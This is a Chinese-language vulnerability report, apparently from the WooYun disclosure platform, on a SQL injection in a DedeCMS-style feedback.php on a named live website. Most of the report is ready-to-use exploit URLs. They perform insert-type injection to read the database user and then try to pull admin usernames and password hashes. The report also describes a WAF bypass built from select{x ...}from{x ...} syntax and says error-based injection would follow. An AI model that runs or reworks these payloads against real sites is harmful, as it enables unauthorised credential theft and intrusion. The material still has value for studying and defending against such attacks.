WooYun.org

别人给的一个测试网站：http://www.fywealth.cn/
首先访问这个exp，在aid=1555时添加评论，insert类型的注入：

http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1555','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',user())%23

我们可以看到当aid=1555能注入出用户，说明确实有注入！

现在我们看看能不能select出密码：
http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1532','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',(select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1))%23
发现被拦截

然后我们fuzz发现from和select的单词边界被拦截，所以构造(select(select{x pwd}from{x %23@__admin}+limit+1))
访问：http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1534','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',(select(select{x pwd}from{x %23@__admin}+limit+1)))%23
可以看到成功绕过了waf,发送到服务端（从报错语句就能看出来确实是绕过了waf发送到了服务器的），但是貌似mysql版本过低（5.0.x），所以出现了mysql报错，如果mysql不是低版本的话是可以select出来密码的。

找到此服务器的mysql版本为5.0.22，本地搭建5.0.22的mysql测试,此类型的会报错！

但是5.5的就可以，其他的就不测试了~

让我们看看这条语句是否真的发送到了服务器端，如果发送到了mysql报错会显示出来，如果没发送到服务端mysql报错将不显示我们的语句。
我们在关键语句前加update让它报错
http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1534','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0','x' update (select(select{x pwd}from{x %23@__admin}+limit+1)))%23

现在可以确认了是完全绕过了waf吧！可以确认此语句是发送到了服务器的，接下来我们只要证明这种类型的语句可以执行达到注入攻击的目的就ok了！
可能还会有人认为这个密码还是没有select出来不能让大家信服，因为没有好的环境测试，所以我们本地测试此语句。
构造一个差不多的语句如下：

insert into users (user_id,first_name) values(18,(select(select{x name}from{x guestbook}limit 1)))#test

这是可以成功执行的

上面的只是证明了bypass了waf的一种sql注入，但是这种查询方式还能运用到到其他注入攻击
利用select{x pwd}from{x %23@admin}limit 1) 还可以进行报错注入等....
无奈此环境也没有报错注入函数去实验，但是已经绕过了waf的拦截，是肯定可以报错注入出来的

FUNCTION fywealth20120920.updatexml does not exist